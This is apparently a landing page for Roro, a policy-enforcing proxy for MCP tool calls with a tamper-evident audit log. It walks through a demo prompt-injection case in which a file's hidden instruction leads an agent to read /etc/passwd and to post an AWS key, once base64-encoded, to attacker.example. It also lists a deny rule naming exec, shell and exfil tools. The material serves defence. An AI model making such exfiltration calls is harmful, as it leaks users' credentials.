Your agent got talked into it. Roro said no.
A proxy between MCP clients and servers. It checks every tool call against your Cedar policy and records each decision in a signed, hash-chained log.
-
Seq 2Tool read_fileReason permittedArgs {"path":"…/sandbox/notes.txt"}Decision allow
The user asks for a summary of
notes.txt. The file hides an injected instruction. - Seq 4Tool read_fileReason no_matching_permitArgs {"path":"/etc/passwd"}Decision deny
- Seq 5Tool exfiltrateReason dangerous_tool_blockedArgs {"data":"[REDACTED:aws_key]"}Decision deny
- Seq 6Tool http_postReason secret_in_argumentsArgs {"body":"[REDACTED:aws_key]","url":"https://attacker.example/collect"}Decision deny
-
Seq 7Tool http_postReason approval_timeoutArgs {"body":"QUtJQUlPU0ZPRE5ON0VYQU1QTEU=","url":"https://attacker.example/collect"}Decision deny
held for approval no answer in 3s (demo timeout)Same key, base64-encoded. Host not on the allowlist.
roro verify --require-sealedroro verify --log tampered.db --pubkey .roro/audit-signing.key.pub
OK - hash chain and signatures verifiedFAILED
- seq 4: row was modified (entry_hash mismatch)
From roro logs after scripts/demo.sh. Session and result rows and the time, kind and agent columns are hidden; notes added.
Try it: tamper with row 4 and the log stops verifying.
Row 7 got past one check and stopped at the next. The secret matcher can't read base64. But attacker.example isn't on the host allowlist, so policy held the call for a person. No one answered within the demo's 3‑second timeout, so Roro denied it.
=== approval 966bf3509f97 === agent: research-bot server: demo-exfil-server tool: http_post policy: http_host_not_allowlisted (http-other-hosts-need-approval) expires: 09:36:25 (in 3s) arguments (as sent, secrets redacted): { "body": "QUtJQUlPU0ZPRE5ON0VYQU1QTEU=", "url": "https://attacker.example/collect" } approve 966bf3509f97? [y/N]
What roro approvals watch printed in a second terminal while call 7 was held.
One binary in the path
of every tool call.
No changes to client or server code. Point one entry in your client's MCP config at Roro. It starts or connects to the real server, and a call that fails a check never reaches it.
tools/call, traced with seq 7 from the logMCP client
Claude Desktop, Cursor, or your own agent, over stdio or HTTP.
roro
Checks the call, then forwards it or answers with an isError result that names the reason.
MCP server
Files, HTTP, databases, shells. It only sees calls that passed.
Inside roro
Per tools/call, in order. The main checks, simplified. The full flow is in internal/gate.
- Kill switchA killed agent's next call is refused by every Roro process sharing the state directory.Seq 7: off, pass
- Tool pinA tool whose description or schema changed is hidden and blocked.Seq 7: unchanged, pass
- Cedar policyAllow, deny, or ask a person, per agent and per argument.Seq 7: ask: host not allowlisted
- Human approvalA person sees the real call, secrets redacted. No answer means no.Seq 7: no answer in 3s, deny
- Audit entryEvery decision is hash-chained. Checkpoints are signed with Ed25519.Seq 7: written as seq 7
Seven controls in one binary you run.
Configured in roro.yaml and your Cedar policy. Operated from the roro CLI.
At call time
-
Human approval
Calls marked
@approvalwait for y/N in any terminal. The approver sees the real tool name and arguments, secrets redacted, never a summary written by the model. No answer in 2 minutes (default) means deny.$ roro approvals watch === approval 966bf3509f97 === agent: research-bot tool: http_post policy: http_host_not_allowlisted (http-other-hosts-need-approval) … approve 966bf3509f97? [y/N]
-
Kill switch
Stop every agent, or one, at its next tool call. It survives restarts, holds across every Roro process that shares the state directory, and kills and resumes are logged.
$ roro kill --agent research-bot --reason "investigating" killed: agent research-bot # its next tool call is denied: kill_switch_active $ roro resume --agent research-bot resumed: agent research-bot
-
Per‑agent identity
Every call carries an agent name: over stdio from
--agentor$RORO_AGENT, over HTTP from a per‑agent bearer token. Stdio identity is as trustworthy as the client config. -
Policy as code
Default-deny Cedar rules that allow, deny, or ask a person, matched on tool name, normalized paths (
/sandbox/../etc/passwdis/etc/passwd), URL hosts, numeric bounds, regex matchers, and rate limits. -
Tool pinning
The first
tools/listpins each tool. A later change to its description or schema hides and blocks it until you accept it.roro pins list
After the fact
-
Tamper-evident audit log
SQLite, a SHA-256 hash chain, and Ed25519‑signed checkpoints. Secrets are redacted before they are written. An auditor needs only the public key. Keep the anchor off the machine and pass it back with
--expectto catch a rollback.$ roro verify --require-sealed checkpoints: 1 (last covers seq 8) anchor: 8:145acaef42eb…26399f result: OK - hash chain and signatures verified
-
OpenTelemetry
Each
tools/callbecomes a span with agent, tool, decision, and reason. Arguments and results are never exported.roro.yamltelemetry.otlp_endpoint: localhost:4318
Mapped to OWASP and NIST
The mapping doc ties each control to the OWASP Top 10 for Agentic Applications and NIST's agent-identity tenets, and marks it enforced, partial, or out of scope: docs/nist-owasp-mapping.md.
Each decision names its rule. Edited rows fail verify.
Row 5's recorded reason, dangerous_tool_blocked, comes from this rule. The verify output is from the same demo run.
Row 5, denied by a rule you can read.
From the starter policy, lines 47 to 57, as written.
@id("deny-dangerous-tools")@reason("dangerous_tool_blocked")forbid (principal, action, resource)when { resource.name like "*exec*" || resource.name like "*shell*" || resource.name like "*run_command*" || resource.name like "*exfil*" || resource.name like "*send_email*"}unless { principal == Roro::Agent::"ops-bot" && resource.name == "run_shell" };
deny-secrets-in-args. When several forbid rules match, the call is denied and the reason comes from the rule whose @id sorts first. Tools like these are denied unless you write an exception, like ops-bot's.Seq 4, edited in a copy of the log.
The demo turns the first deny into an allow, then verifies both logs.
$ roro verify --require-sealed
key id: 8e1c71e92dce76bf
events: 8 (last seq 8)
checkpoints: 1 (last covers seq 8)
unsealed: 0
anchor: 8:145acaef42eb…26399f
result: OK - hash chain and signatures verified# a copy with the first deny edited to allow
$ roro verify --log tampered.db \
--pubkey .roro/audit-signing.key.pub
key id: 8e1c71e92dce76bf
events: 8 (last seq 8)
checkpoints: 1 (last covers seq 8)
unsealed: 0
anchor: 8:145acaef42eb…26399f
result: FAILED
- seq 4: row was modified (entry_hash mismatch)
roro verify exits non-zero if a row is changed, removed, or reordered, a signature is bad, or events after a checkpoint are missing. A log rolled back to an earlier checkpoint still verifies, so store the anchor off the machine and pass it back with --expect SEQ:HASH.Wrap the server command you already have.
Build once and create the config, starter policy, and signing key. Then move the original command after -- and name the agent.
git clone https://github.com/timeomy/roro
cd roro
go build -o bin/roro ./cmd/roro
# config, starter policy scoped to your sandbox, signing key
mkdir -p ~/roro && cd ~/roro
/path/to/bin/roro init \
--agent claude-desktop \
--sandbox /Users/me/sandbox
# validate everything
/path/to/bin/roro check
- The highlighted lines below are the only change. Everything after
--is your original server command. - Replace
/usr/local/bin/rorowith the absolute path to thebin/roroyou built; desktop apps start with a minimal PATH. - HTTP clients: run
roro serveand give each agent a token withroro token new --agent NAME.
{
"mcpServers": {
"filesystem": {
"command": "npx", "args": [
"-y",
"@modelcontextprotocol/server-filesystem",
"/Users/me/sandbox"
]
}
}
}
{
"mcpServers": {
"filesystem": {
"command": "/usr/local/bin/roro", "args": [
"--config", "/Users/me/roro/roro.yaml", "wrap", "--agent", "claude-desktop", "--client", "claude-desktop", "--", "npx", "-y",
"@modelcontextprotocol/server-filesystem",
"/Users/me/sandbox"
]
}
}
}
What Roro does not do.
Summarized from docs/threat-model.md. Read it before relying on Roro.
- Not a prompt-injection detector. It does not try to spot injected text. It checks the tool calls an injected agent makes and limits what they can do.
- Not a sandbox. An allowed tool runs with the upstream server's privileges.
- Not a hosted service. No dashboard, SSO, or multi-tenant control plane. It is a single binary you run yourself.
- Not complete protection on its own. Pair it with least-privilege servers, sandboxing, and review of the tools you permit.
Run the attack yourself. Four injected calls, none reach the server.
git clone https://github.com/timeomy/rorocd roro./scripts/demo.sh
Requires Go 1.27+. Runs in a temp dir; the demo makes no outbound calls.